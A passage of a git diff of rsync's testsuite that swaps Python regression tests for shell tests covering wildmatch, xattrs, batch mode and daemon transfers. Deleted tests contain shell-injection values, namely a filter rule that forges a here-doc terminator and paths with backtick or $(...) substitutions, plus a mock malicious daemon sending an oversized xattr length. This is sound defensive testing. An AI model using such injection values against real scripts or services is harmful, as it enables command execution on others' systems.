f\"owners={WITH_OWN})\")\n-\n-DESTBASE = SCRATCHDIR / 'dest'\n-DESTBASE.mkdir(exist_ok=True)\n-VDST_BASE = SCRATCHDIR / 'vdst'\n-VDST_BASE.mkdir(exist_ok=True)\n-\n-OK_CODES = (0, 23, 24)   # specials without -D -> rsync warns and returns 23/24\n-\n-# -A/-X only when supported (3.2.7 has both). -L/--copy-links is excluded: the\n-# absolute/escape links point into the SOURCE scratch, so dereferencing tests\n-# source layout, not transfer fidelity.\n-_full = ['-a', '-H'] + (['-A'] if WITH_A else []) + (['-X'] if WITH_X else [])\n-PROFILES = {\n-    'P1-full':       _full + ['--specials', '--devices'],\n-    'P2-links':      ['-a', '--links'],\n-    'P3-copyunsafe': ['-a', '--copy-unsafe-links'],\n-    'P4-safelinks':  ['-a', '--safe-links'],\n-    'P5-noimplied':  _full + ['-D', '--no-implied-dirs'],\n-}\n-WIRE_PROFILES = ('P1-full', 'P2-links', 'P5-noimplied')   # over the wire\n-PAIRINGS = (('old', 'old'), ('new', 'old'), ('old', 'new'), ('new', 'new'))\n-\n-results = []   # (case_label, [diff, ...])\n-\n-\n-def binof(role):\n-    return RSYNC_PEER if role == 'old' else RSYNC\n-\n-\n-def run(binary_cmd, args, label):\n-    argv = shlex.split(binary_cmd) + args\n-    proc = subprocess.run(argv, capture_output=True, text=True)\n-    if proc.returncode not in OK_CODES:\n-        sys.stdout.write(proc.stdout)\n-        sys.stderr.write(proc.stderr)\n-        test_fail(f\"{label}: rsync exited {proc.returncode}: {' '.join(argv)}\")\n-\n-\n-def newdir(base, name):\n-    d = base / name\n-    rmtree(d)\n-    d.mkdir(parents=True)\n-    return d\n-\n-\n-def compare(dest, ref, label):\n-    diffs = compare_trees(dest, ref, label,\n-                          with_acls=WITH_A, with_xattrs=WITH_X)\n-    if diffs:\n-        results.append((label, diffs))\n-\n-\n-# --- daemon plumbing: a config + daemon per role on demand ---\n-# munge symlinks defaults ON for a module (prepends /rsyncd-munged/); disable so\n-# the only daemon symlink transform is the standard absolute-link sanitisation,\n-# which both binaries do identically. Each role gets its own pid/log file so the\n-# old and new daemons can run concurrently in --use-tcp mode without a pid-lock\n-# clash.\n-def _make_conf(role):\n-    return write_daemon_conf([\n-        ('vsrc', {'path': str(TR), 'read only': 'yes'}),\n-        ('vdst', {'path': str(VDST_BASE), 'read only': 'no'}),\n-    ], globals={\n-        'munge symlinks': 'no',\n-        'pid file': str(SCRATCHDIR / f'rsyncd-{role}.pid'),\n-        'log file': str(SCRATCHDIR / f'rsyncd-{role}.log'),\n-    }, name=f'vd-{role}.conf')\n-\n-\n-_conf_for = {'old': _make_conf('old'), 'new': _make_conf('new')}\n-_daemon_url = {}\n-\n-\n-def daemon_url(drole):\n-    \"\"\"URL for a daemon running `drole`'s binary. In --use-tcp mode each role\n-    gets its own listener (cached); in pipe mode this resets RSYNC_CONNECT_PROG\n-    on every call, so call it immediately before the client run.\"\"\"\n-    if USE_TCP:\n-        if drole not in _daemon_url:\n-            port = DAEMON_PORT_OLD if drole == 'old' else DAEMON_PORT_NEW\n-            _daemon_url[drole] = start_test_daemon(_conf_for[drole], port,\n-                                                   rsync_cmd=binof(drole))\n-        return _daemon_url[drole]\n-    return start_test_daemon(_conf_for[drole], 0, rsync_cmd=binof(drole))\n-\n-\n-def do_transfer(transport, direction, crole, srole, prof, name):\n-    \"\"\"Run one pairing and return the destination dir to compare.\"\"\"\n-    args = PROFILES[prof]\n-    if transport == 'local':\n-        d = newdir(DESTBASE, name)\n-        run(binof(crole), args + [SRC_SLASH, f'{d}/'], name)\n-        return d\n-    if transport == 'remote':\n-        d = newdir(DESTBASE, name)\n-        common = args + ['-e', SSH, f'--rsync-path={binof(srole)}']\n-        if direction == 'push':\n-            run(binof(crole), common + [SRC_SLASH, f'localhost:{d}/'], name)\n-        else:\n-            run(binof(crole), common + [f'localhost:{SRC_SLASH}', f'{d}/'], name)\n-        return d\n-    # daemon\n-    url = daemon_url(srole)\n-    if direction == 'push':\n-        d = newdir(VDST_BASE, name)\n-        run(binof(crole), args + [SRC_SLASH, f'{url}vdst/{name}/'], name)\n-        return d\n-    d = newdir(DESTBASE, name)\n-    run(binof(crole), args + [f'{url}vsrc/', f'{d}/'], name)\n-    return d\n-\n-\n-def run_scenario(transport, direction, prof, pairings):\n-    \"\"\"Run all `pairings` for one scenario; compare each non-ref to the all-old\n-    reference (pairings[0] must be the all-old pair).\"\"\"\n-    ref = None\n-    for crole, srole in pairings:\n-        tag = f\"{transport}-{direction}-c{crole}-s{srole}/{prof}\"\n-        dest = do_transfer(transport, direction, crole, srole, prof,\n-                           tag.replace('/', '_'))\n-        if ref is None:\n-            ref = dest          # all-old reference\n-        else:\n-            compare(dest, ref, tag)\n-\n-\n-# Local: single binary per run -> just old (ref) vs new, every profile.\n-for prof in PROFILES:\n-    run_scenario('local', 'push', prof, (('old', 'old'), ('new', 'new')))\n-\n-# Remote-shell and daemon: all four client/server pairings, both directions.\n-for prof in WIRE_PROFILES:\n-    for direction in ('push', 'pull'):\n-        run_scenario('remote', direction, prof, PAIRINGS)\n-        run_scenario('daemon', direction, prof, PAIRINGS)\n-\n-\n-# --- verdict ---\n-if results:\n-    msg = [f\"variety: {len(results)} case(s) diverged from the all-old \"\n-           f\"reference (peer={RSYNC_PEER!r}):\"]\n-    for label, diffs in results:\n-        msg.append(f\"\\n========== {label} ==========\")\n-        msg.extend(diffs)\n-    test_fail('\\n'.join(msg))\n-\n-print(\"variety: OK -- current rsync reproduces the all-old result on every \"\n-      \"local/remote/daemon scenario and new/old role pairing\")\ndiff --git a/testsuite/wildmatch.test b/testsuite/wildmatch.test\nnew file mode 100644\nindex 0000000..cfe7584\n--- /dev/null\n+++ b/testsuite/wildmatch.test\n@@ -0,0 +1,23 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2003-2022 Wayne Davison\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test the wildmatch functionality\n+\n+. \"$suitedir/rsync.fns\"\n+\n+# This test exercises the wildmatch() function (with no options) and the\n+# wildmatch_join() function (using -x and/or -e).\n+for opts in \"\" -x1 \"-x1 -e1\" \"-x1 -e1se\" -x2 \"-x2 -ese\" -x3 \"-x3 -e1\" -x4 \"-x4 -e2e\" -x5 \"-x5 -es\"; do\n+    echo Running wildtest with \"$opts\"\n+    \"$TOOLDIR/wildtest\" $opts \"$srcdir/wildtest.txt\" >\"$scratchdir/wild.out\"\n+    diff $diffopt \"$scratchdir/wild.out\" - <<EOF\n+No wildmatch errors found.\n+EOF\n+done\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/wildmatch_test.py b/testsuite/wildmatch_test.py\ndeleted file mode 100644\nindex 4c80566..0000000\n--- a/testsuite/wildmatch_test.py\n+++ /dev/null\n@@ -1,49 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/wildmatch.test.\n-#\n-# Exercise the wildmatch() function (with no options) and wildmatch_join()\n-# (via -x and/or -e) by running the wildtest helper across a variety of\n-# option combinations and confirming each reports no errors.\n-\n-import subprocess\n-\n-from rsyncfns import SRCDIR, TOOLDIR, test_fail\n-\n-\n-OPTION_SETS = [\n-    [],\n-    ['-x1'],\n-    ['-x1', '-e1'],\n-    ['-x1', '-e1se'],\n-    ['-x2'],\n-    ['-x2', '-ese'],\n-    ['-x3'],\n-    ['-x3', '-e1'],\n-    ['-x4'],\n-    ['-x4', '-e2e'],\n-    ['-x5'],\n-    ['-x5', '-es'],\n-]\n-\n-EXPECTED = \"No wildmatch errors found.\\n\"\n-\n-wildtest = str(TOOLDIR / 'wildtest')\n-wildtest_txt = str(SRCDIR / 'wildtest.txt')\n-\n-for opts in OPTION_SETS:\n-    print(f\"Running wildtest with {' '.join(opts)}\")\n-    proc = subprocess.run(\n-        [wildtest, *opts, wildtest_txt],\n-        capture_output=True, text=True,\n-    )\n-    if proc.returncode != 0:\n-        test_fail(\n-            f\"wildtest {' '.join(opts)} exited {proc.returncode}\\n\"\n-            f\"stderr:\\n{proc.stderr}\\nstdout:\\n{proc.stdout}\"\n-        )\n-    if proc.stdout != EXPECTED:\n-        test_fail(\n-            f\"wildtest {' '.join(opts)} output did not match expected.\\n\"\n-            f\"--- expected ---\\n{EXPECTED}\"\n-            f\"--- got ---\\n{proc.stdout}\"\n-        )\ndiff --git a/testsuite/write-batch-filter-injection_test.py b/testsuite/write-batch-filter-injection_test.py\ndeleted file mode 100644\nindex 081a02d..0000000\n--- a/testsuite/write-batch-filter-injection_test.py\n+++ /dev/null\n@@ -1,54 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test: the generated --write-batch replay script writes filter rules\n-# into a `<<'#E#'` here-doc, one rule per line.  A filter pattern that contains\n-# an embedded newline followed by a line equal to the here-doc terminator \"#E#\"\n-# could close the here-doc early and turn the remaining pattern bytes into shell\n-# commands in the replay .sh.  Command-line --filter/--exclude/--include keep an\n-# embedded newline (no word-splitting), and such a pattern can also come from a\n-# NUL-separated --exclude-from in an untrusted tree.  The batch writer must refuse\n-# a newline-bearing pattern (fail-closed) so no injectable script is produced.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, rmtree, run_rsync, test_fail\n-\n-base = SCRATCHDIR / 'wb-filter-inj'\n-rmtree(base)\n-src = base / 'src'\n-src.mkdir(parents=True)\n-(src / 'keep').write_text(\"hello\\n\")\n-\n-# Relative sentinel path so a fired injection lands here, where we run the .sh.\n-os.chdir(base)\n-sentinel = base / 'PWNED_FILTER'\n-if sentinel.exists():\n-    sentinel.unlink()\n-\n-# A single filter rule whose pattern embeds:  <newline> #E# <newline> touch ...\n-# Pre-fix this renders as\n-#     - keep\n-#     #E#\n-#     touch PWNED_FILTER\n-# inside the here-doc, so the \"#E#\" line closes it early and the touch runs as a\n-# shell command when the replay script is executed.\n-evil = \"- keep\\n#E#\\ntouch PWNED_FILTER\"\n-\n-# check=False: the fixed binary refuses (exits non-zero) and the transfer itself\n-# may not complete; we judge solely by whether the injection can fire.\n-run_rsync('-a', '--write-batch=B', f'--filter={evil}', 'src/', 'dest/', check=False)\n-\n-batch_sh = base / 'B.sh'\n-if batch_sh.exists():\n-    # The replay script must not, when run, execute the injected command.\n-    subprocess.run(['sh', 'B.sh'],\n-                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n-                   cwd=str(base), env=os.environ.copy())\n-\n-if sentinel.exists():\n-    script = batch_sh.read_text() if batch_sh.exists() else '<no script>'\n-    test_fail(\"a newline in a filter rule forged the here-doc terminator and \"\n-              f\"injected a shell command into the replay script:\\n{script}\")\n-\n-print(\"write-batch-filter-injection: a newline-bearing filter rule cannot \"\n-      \"inject into the replay script\")\ndiff --git a/testsuite/write-batch-quoting_test.py b/testsuite/write-batch-quoting_test.py\ndeleted file mode 100644\nindex 38aaebd..0000000\n--- a/testsuite/write-batch-quoting_test.py\n+++ /dev/null\n@@ -1,54 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test: the generated --write-batch replay script must single-quote\n-# every argument -- including an arg that starts with '-' and contains '=' (the\n-# write_arg \"--opt=\" split) -- so shell metacharacters in a path (backtick or\n-# $(...) command substitution, redirection, newline, ...) cannot execute when\n-# the .sh is run.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, rmtree, run_rsync, test_fail\n-\n-base = SCRATCHDIR / 'wb-quoting'\n-rmtree(base)\n-src = base / 'src'\n-src.mkdir(parents=True)\n-(src / 'f').write_text(\"hello\\n\")\n-\n-# Relative paths so a fired substitution writes its sentinel here, where we run\n-# the generated replay script.\n-os.chdir(base)\n-\n-\n-def check(label, dest_arg, sentinel_name, *extra):\n-    sentinel = base / sentinel_name\n-    if sentinel.exists():\n-        sentinel.unlink()\n-    # check=False: a '-'-leading dest after '--' makes the transfer itself fail,\n-    # but write-batch still emits the .sh (the artifact we care about).\n-    run_rsync('-a', '--write-batch=B', 'src/', *extra, dest_arg, check=False)\n-    batch_sh = base / 'B.sh'\n-    if not batch_sh.exists():\n-        test_fail(f\"{label}: write-batch did not generate the replay script\")\n-    script = batch_sh.read_text()\n-    # Command substitution in any unquoted token fires during shell word\n-    # expansion, independent of whether rsync itself runs.\n-    subprocess.run(['sh', 'B.sh'],\n-                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n-                   cwd=str(base), env=os.environ.copy())\n-    if sentinel.exists():\n-        test_fail(f\"{label}: metacharacters executed when the replay script ran:\\n{script}\")\n-\n-\n-# Backtick command substitution in a bare path token (the value-quoting path).\n-# The body uses only `backtick` and `>` -- neither in the old quote-trigger set.\n-check(\"bare-path\", 'd`>PWNED`x/', 'PWNED')\n-\n-# Command substitution in the prefix before '=' of a '-'-leading destination,\n-# passed after '--' (exercises the write_arg \"--opt=\" split). Here `$(` and `)`\n-# would be caught by value-quoting, but the prefix bytes bypass it unless the\n-# whole arg is quoted.\n-check(\"dash-eq-prefix\", '-x$(>PWNED2)=y/', 'PWNED2', '--')\n-\n-print(\"write-batch-quoting: shell metacharacters in batch paths stay quoted\")\ndiff --git a/testsuite/write-touched-blocks_test.py b/testsuite/write-touched-blocks_test.py\ndeleted file mode 100644\nindex 32ba7be..0000000\n--- a/testsuite/write-touched-blocks_test.py\n+++ /dev/null\n@@ -1,173 +0,0 @@\n-import os\n-import shlex\n-import subprocess\n-import sys\n-import re\n-from pathlib import Path\n-\n-from rsyncfns import (\n-    FROMDIR, RSYNC, SCRATCHDIR,\n-    makepath, test_fail, test_skipped\n-)\n-\n-rsync_args = shlex.split(str(RSYNC))\n-for arg in rsync_args:\n-    if arg.startswith('--protocol='):\n-        prot_version = int(arg.split('=')[1])\n-        if prot_version < 33:\n-            test_skipped(f\"Skipping write-touched-blocks: feature requires protocol 33, but CI forced {prot_version}\")\n-\n-src = FROMDIR\n-makepath(src)\n-\n-base_file = src / 'base.bin'\n-\n-# Generate 4 MiB of random data in memory\n-data = os.urandom(4 * 1024 * 1024)\n-\n-def setup_test(dest_name):\n-    \"\"\"Resets the base file and creates a clean destination file.\"\"\"\n-    dest_path = SCRATCHDIR / dest_name\n-    base_file.write_bytes(data)\n-    dest_path.write_bytes(data)\n-    return dest_path\n-\n-def run_client(src_path, dest_path):\n-    rsync_cmd = shlex.split(str(RSYNC))\n-    argv = rsync_cmd + ['-a', '--stats', '--inplace', '-I', '--no-whole-file',\n-            str(src_path), str(dest_path)]\n-    return subprocess.run(argv, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,\n-                          text=True)\n-\n-# TEST 1: Contiguous Write (1 Block)\n-dest_contig = setup_test('dest_contiguous.bin')\n-with open(base_file, 'r+b') as f:\n-    f.write(b'\\x00' * 3000)\n-\n-proc = run_client(base_file, dest_contig)\n-if proc.returncode != 0:\n-    test_fail(f\"rsync failed on contiguous test:\\n{proc.stdout}\")\n-if \"Number of 4 KiB logical blocks touched: 1\\n\" not in proc.stdout:\n-    test_fail(f\"Contiguous check failed! Expected 1 block. Output:\\n{proc.stdout}\")\n-\n-# TEST 2: Scattered Write (10 Blocks)\n-dest_scatter = setup_test('dest_scattered.bin')\n-with open(base_file, 'r+b') as f:\n-    for i in range(1, 11):\n-        f.seek(i * 4096)\n-        old_byte = f.read(1)[0]\n-        f.seek(i * 4096)\n-        f.write(bytes([old_byte ^ 0xFF]))\n-\n-proc = run_client(base_file, dest_scatter)\n-if proc.returncode != 0:\n-    test_fail(f\"rsync failed on scattered test:\\n{proc.stdout}\")\n-if \"Number of 4 KiB logical blocks touched: 10\\n\" not in proc.stdout:\n-    test_fail(f\"Scattered check failed! Expected 10 blocks. Output:\\n{proc.stdout}\")\n-\n-# TEST 3: Identical Files (0 Blocks Edge Case)\n-dest_zero = setup_test('dest_zero.bin')\n-\n-proc = run_client(base_file, dest_zero)\n-if proc.returncode != 0:\n-    test_fail(f\"rsync failed on zero-block test:\\n{proc.stdout}\")\n-if \"Number of 4 KiB logical blocks touched: 0\\n\" not in proc.stdout:\n-    test_fail(f\"Zero check failed! Expected 0 blocks. Output:\\n{proc.stdout}\")\n-\n-# TEST 4: Full File Write (1,024 Blocks)\n-dest_full = setup_test('dest_full.bin')\n-# Overwrite the entire 4 MiB base file with brand new random data\n-# This forces the delta algorithm to find 0 matches and write all 1,024 blocks.\n-base_file.write_bytes(os.urandom(4 * 1024 * 1024))\n-\n-proc = run_client(base_file, dest_full)\n-if proc.returncode != 0:\n-    test_fail(f\"rsync failed on full write test:\\n{proc.stdout}\")\n-#if \"Number of 4 KiB logical blocks touched: 1,024\\n\" not in proc.stdout:\n-if not re.search(r'Number of 4 KiB logical blocks touched: 1[,.]024\\n', proc.stdout):\n-    test_fail(f\"Full write check failed! Expected 1,024 blocks. Output:\\n{proc.stdout}\")\n-\n-# TEST 5: Sparse File Write (Hole skipping)\n-sparse_src = src / 'sparse.bin'\n-sparse_dest = SCRATCHDIR / 'sparse_dest.bin'\n-\n-# Create a file with written data on the ends, but a massive 4 MiB hole in the middle.\n-# 1 block data + 1,024 blocks hole + 1 block data = 1,026 blocks total size.\n-with open(sparse_src, 'wb') as f:\n-    f.write(os.urandom(4096))             # Block 1 (Data)\n-    f.seek(4 * 1024 * 1024, os.SEEK_CUR)  # The Hole (4 MiB of nothing)\n-    f.write(os.urandom(4096))             # Block 1026 (Data)\n-\n-# We must run this WITH --sparse (-S) and WITHOUT --inplace to force\n-# the receiver to create a brand new sparse file from scratch using write_sparse().\n-rsync_cmd = shlex.split(str(RSYNC))\n-argv_sparse = rsync_cmd + ['-a', '--stats', '--sparse', str(sparse_src), str(sparse_dest)]\n-proc = subprocess.run(argv_sparse, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-\n-if proc.returncode != 0:\n-    test_fail(f\"rsync failed on sparse test:\\n{proc.stdout}\")\n-\n-# Even though the file is over 4 MiB in size, only 2 logical 4K blocks\n-# should be written because the rest was skipped via lseek.\n-if \"Number of 4 KiB logical blocks touched: 2\\n\" not in proc.stdout:\n-    test_fail(f\"Sparse check failed! Expected 2 logical blocks written. Output:\\n{proc.stdout}\")\n-\n-# TEST 6: Multiple Files\n-# Creates two separate 4KB files. If the tracker fails to reset between\n-# files due to FD recycling, it will report 1 block instead of 2.\n-fd_src_dir = src / 'fd_test'\n-fd_dest_dir = SCRATCHDIR / 'fd_dest'\n-makepath(fd_src_dir)\n-makepath(fd_dest_dir)\n-\n-# Create two distinct 1-block files\n-(fd_src_dir / 'fileA.bin').write_bytes(os.urandom(4096))\n-(fd_src_dir / 'fileB.bin').write_bytes(os.urandom(4096))\n-\n-# Sync the whole directory so rsync processes both in one process lifespan\n-rsync_cmd = shlex.split(str(RSYNC))\n-argv_fd = rsync_cmd + ['-a', '--stats', '--inplace', str(fd_src_dir) + '/', str(fd_dest_dir) + '/']\n-proc = subprocess.run(argv_fd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-\n-if proc.returncode != 0:\n-    test_fail(f\"rsync failed on multiple files test:\\n{proc.stdout}\")\n-\n-if \"Number of 4 KiB logical blocks touched: 2\\n\" not in proc.stdout:\n-    test_fail(f\"FD Reuse bug confirmed! Expected 2 blocks (1 per file). Output:\\n{proc.stdout}\")\n-\n-# TEST 7: Batch Mode State Reset (--read-batch)\n-batch_src_dir = src / 'batch_src'\n-batch_dest_dir = SCRATCHDIR / 'batch_dest'\n-batch_file = SCRATCHDIR / 'test_batch.rsync'\n-makepath(batch_src_dir)\n-makepath(batch_dest_dir)\n-\n-# Create two 4KB source files with random data\n-(batch_src_dir / 'fileA.bin').write_bytes(os.urandom(4096))\n-(batch_src_dir / 'fileB.bin').write_bytes(os.urandom(4096))\n-\n-# Create two 4KB zeroed destination files (forces the delta algorithm to write exactly 1 block per file)\n-(batch_dest_dir / 'fileA.bin').write_bytes(b'\\x00' * 4096)\n-(batch_dest_dir / 'fileB.bin').write_bytes(b'\\x00' * 4096)\n-\n-# Step 1: Generate the batch file (Sender side)\n-# We MUST use '-I' because the files have identical sizes and timestamps.\n-rsync_cmd = shlex.split(str(RSYNC))\n-argv_write_batch = rsync_cmd + ['-a', '-I', '--only-write-batch=' + str(batch_file),\n-                    str(batch_src_dir) + '/', str(batch_dest_dir) + '/']\n-subprocess.run(argv_write_batch, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n-\n-# Step 2: Apply the batch file and collect stats (Receiver side)\n-argv_read_batch = rsync_cmd + ['-a', '-I', '--inplace', '--stats',\n-                   '--read-batch=' + str(batch_file), str(batch_dest_dir) + '/']\n-\n-proc = subprocess.run(argv_read_batch, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-\n-if proc.returncode != 0:\n-    test_fail(f\"rsync failed on read-batch test:\\n{proc.stdout}\")\n-\n-# If the state leaked across the batch read, this would output 1 block.\n-if \"Number of 4 KiB logical blocks touched: 2\\n\" not in proc.stdout:\n-    test_fail(f\"Batch Mode tracker check failed! Expected 2 blocks (1 per file). Output:\\n{proc.stdout}\")\n-\n-print(\"write-touched-blocks: cleanly distinguishes contiguous, scattered, zero, full, sparse, multi-file, and batch writes\")\ndiff --git a/testsuite/xattr-wire-cap_test.py b/testsuite/xattr-wire-cap_test.py\ndeleted file mode 100644\nindex f1fc331..0000000\n--- a/testsuite/xattr-wire-cap_test.py\n+++ /dev/null\n@@ -1,97 +0,0 @@\n-#!/usr/bin/env python3\n-# A malicious DAEMON acting as the SENDER can put an oversized per-value xattr\n-# datum_len in the file list it streams to a pulling client.  receive_xattr()\n-# (xattrs.c) guards this: read_varint_size() bounds it to MAX_WIRE_XATTR_DATALEN\n-# and a second check rejects anything over MAX_XATTR_VALUE_BYTES (128 MiB) with\n-# \"xattr datum_len exceeds per-value limit\", before the value is read.\n-#\n-# The malicious bytes flow daemon(sender) -> client(receiver) in the FILE-LIST\n-# phase (send_xattr() is appended to each entry under -X), so we drive it with\n-# the SERVER side of rsync_proto (DaemonReceiver acting as the sender): stand up\n-# a tiny Python \"daemon\" that a real rsync client PULLS from, run the handshake,\n-# and stream a one-entry file list whose xattr block declares datum_len =\n-# 128 MiB + 1.  receive_xattr() runs during recv_file_list(), so no transfer\n-# phase is needed, and because the receiver rejects at the datum_len check we\n-# needn't send the value itself.\n-#\n-# Oracle: the real receiver exits non-zero with \"xattr datum_len exceeds\n-# per-value limit\".  Needs xattr support and a real TCP socket (--use-tcp).\n-\n-import socket\n-import subprocess\n-import threading\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, forced_protocol, makepath, require_tcp, rmtree,\n-    rsync_argv, test_fail, test_skipped, xattrs_supported,\n-)\n-import rsync_proto as rp\n-\n-if not xattrs_supported():\n-    test_skipped(\"xattr-wire-cap requires rsync and filesystem xattr support\")\n-proto = forced_protocol()\n-if proto is not None and proto < 30:\n-    test_skipped(f\"xattr-wire-cap requires protocol 30+ (xattrs unsupported at negotiated {proto})\")\n-\n-PORT = 12970\n-require_tcp(\"the pure-Python daemon needs a real TCP socket; run with --use-tcp\")\n-claim_ports(PORT)\n-\n-base = SCRATCHDIR / 'xattr-wire-cap'\n-rmtree(base)\n-dest = base / 'dest'\n-makepath(dest)\n-\n-# send_xattr() bytes for a new list with one xattr whose declared value length\n-# is 128 MiB + 1 -- it clears the wire cap (read_varint_size, < 2 GiB) but trips\n-# the per-value cap (MAX_XATTR_VALUE_BYTES = 128 MiB).  No value follows: the\n-# receiver rejects before reading it.\n-xattr = rp.xattr_list_wire([(b'user.wirecap\\0', 128 * 1024 * 1024 + 1, b'')])\n-\n-lsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n-lsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n-lsock.bind(('127.0.0.1', PORT))\n-lsock.listen(1)\n-lsock.settimeout(30)\n-\n-state = {}\n-\n-\n-def serve():\n-    \"\"\"Accept the pulling client and, as the sender, stream a one-entry file\n-    list whose xattr block carries the oversized datum length.\"\"\"\n-    try:\n-        csock, _ = lsock.accept()\n-        r = rp.DaemonReceiver(csock)\n-        r.handshake()\n-        flist = (rp.FileEntry('f', mode=rp.S_IFREG | 0o644, length=8).encode()\n-                 + xattr + rp.end_of_flist(0, r.protocol))\n-        r.send_data(flist)\n-        r.drain()\n-        r.close()\n-    except Exception as exc:                       # noqa: BLE001 - reported below\n-        state['err'] = repr(exc)\n-\n-\n-t = threading.Thread(target=serve, daemon=True)\n-t.start()\n-try:\n-    proc = subprocess.run(\n-        rsync_argv('-aX', f'rsync://127.0.0.1:{PORT}/x/f', str(dest) + '/'),\n-        stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=30)\n-finally:\n-    t.join(timeout=10)\n-    lsock.close()\n-\n-out = (proc.stdout or '') + (proc.stderr or '')\n-if state.get('err'):\n-    test_fail(f\"the Python daemon failed before/while streaming the file list: {state['err']}\\n\"\n-              f\"receiver output:\\n{out}\")\n-if proc.returncode == 0:\n-    test_fail(\"malicious daemon sender advertised an oversized xattr datum length \"\n-              f\"but the receiver completed successfully:\\n{out}\")\n-if 'xattr datum_len exceeds per-value limit' not in out:\n-    test_fail(\"receiver rejected the malicious xattr stream, but not via the per-value \"\n-              f\"wire cap. Output:\\n{out}\")\n-\n-print(\"xattr-wire-cap: receiver rejects oversized peer-supplied xattr datum lengths\")\ndiff --git a/testsuite/xattrs-depth_test.py b/testsuite/xattrs-depth_test.py\ndeleted file mode 100644\nindex c090286..0000000\n--- a/testsuite/xattrs-depth_test.py\n+++ /dev/null\n@@ -1,52 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of -X (xattrs) at depth.\n-\n-xattrs_test.py exercises a shallow tree; this companion sets a distinctive user\n-xattr on a file AND a directory at every level of a >=3-deep tree and checks\n-that -X reproduces them all (the xattr is applied per entry, on a name whose\n-parent chain the resolver restructure rewrites).\n-\"\"\"\n-\n-import os\n-import sys\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    make_tree, rmtree, run_rsync, test_fail, test_skipped,\n-    walk_dirs, walk_files, xattr_dump, xattr_set, xattrs_supported,\n-)\n-\n-if not xattrs_supported():\n-    test_skipped(\"rsync built without xattr support (or no xattr tooling here)\")\n-\n-src = FROMDIR\n-rmtree(src)\n-rmtree(TODIR)\n-make_tree(src, depth=3)\n-\n-entries = [p.relative_to(src) for p in (walk_dirs(src) + walk_files(src))]\n-entries.sort()\n-\n-os.chdir(src)\n-try:\n-    for i, rel in enumerate(entries):\n-        xattr_set('depth', f'value-{i}-{rel}', str(rel))\n-except OSError as e:\n-    test_skipped(f\"unable to set an xattr on this filesystem: {e}\")\n-\n-want = xattr_dump(*[str(r) for r in entries])\n-\n-run_rsync('-aX', '-f-x_system.*', '-f-x_security.*', '--super',\n-          f'{src}/', f'{TODIR}/')\n-\n-os.chdir(TODIR)\n-got = xattr_dump(*[str(r) for r in entries])\n-\n-if got != want:\n-    from difflib import unified_diff\n-    sys.stdout.write(''.join(unified_diff(\n-        want.splitlines(keepends=True), got.splitlines(keepends=True),\n-        fromfile='source', tofile='dest')))\n-    test_fail(\"xattrs differ between source and destination at depth\")\n-\n-print(\"xattrs-depth: -X reproduced a user xattr on every entry at depth\")\ndiff --git a/testsuite/xattrs-hlink_test.py b/testsuite/xattrs-hlink_test.py\ndeleted file mode 120000\nindex faae7b3..0000000\n--- a/testsuite/xattrs-hlink_test.py\n+++ /dev/null\n@@ -1 +0,0 @@\n-xattrs_test.py\n\\ No newline at end of file\ndiff --git a/testsuite/xattrs.test b/testsuite/xattrs.test\nnew file mode 100644\nindex 0000000..d94d5f9\n--- /dev/null\n+++ b/testsuite/xattrs.test\n@@ -0,0 +1,239 @@\n+#!/bin/sh\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test that rsync handles basic xattr preservation.\n+\n+. $suitedir/rsync.fns\n+lnkdir=\"$tmpdir/lnk\"\n+\n+$RSYNC -VV | grep '\"xattrs\": true' >/dev/null || test_skipped \"Rsync is configured without xattr support\"\n+\n+case \"$HOST_OS\" in\n+darwin*)\n+    xset() {\n+\txnam=\"$1\"\n+\txval=\"$2\"\n+\tshift 2\n+\txattr -s \"$xnam\" \"$xval\" \"${@}\"\n+    }\n+    xls() {\n+\txattr -l \"${@}\" | sed \"s/^[ $tab_ch]*//\"\n+    }\n+    RSYNC_PREFIX='rsync'\n+    RUSR='rsync.nonuser'\n+    ;;\n+solaris*)\n+    xset() {\n+\txnam=\"$1\"\n+\txval=\"$2\"\n+\tshift 2\n+\tfor fn in \"${@}\"; do\n+\t    runat \"$fn\" \"$SHELL_PATH\" <<EOF\n+echo \"${xval}\" > \"${xnam}\"\n+EOF\n+\tdone\n+    }\n+    xls() {\n+\tfor fn in \"${@}\"; do\n+\t    runat \"$fn\" \"$SHELL_PATH\" <<EOF\n+for x in *; do echo \"\\$x=\\`cat \\$x\\`\"; done\n+EOF\n+       done\n+    }\n+    RSYNC_PREFIX='rsync'\n+    RUSR='rsync.nonuser'\n+    ;;\n+freebsd*)\n+    xset() {\n+\txnam=\"$1\"\n+\txval=\"$2\"\n+\tshift 2\n+\tsetextattr -h user \"$xnam\" \"$xval\" \"${@}\"\n+    }\n+    xls() {\n+\tfor f in \"${@}\"; do lsextattr -q -h user \"$f\" | tr '[[:space:]]' '\\n' | sort | xargs -I % getextattr -h user % \"$f\"; done\n+    }\n+    RSYNC_PREFIX='rsync'\n+    RUSR='rsync'\n+    ;;\n+*)\n+    xset() {\n+\txnam=\"$1\"\n+\txval=\"$2\"\n+\tshift 2\n+\tsetfattr -n \"$xnam\" -v \"$xval\" \"${@}\"\n+    }\n+    xls() {\n+\tgetfattr -d \"${@}\"\n+    }\n+    RSYNC_PREFIX='user.rsync'\n+    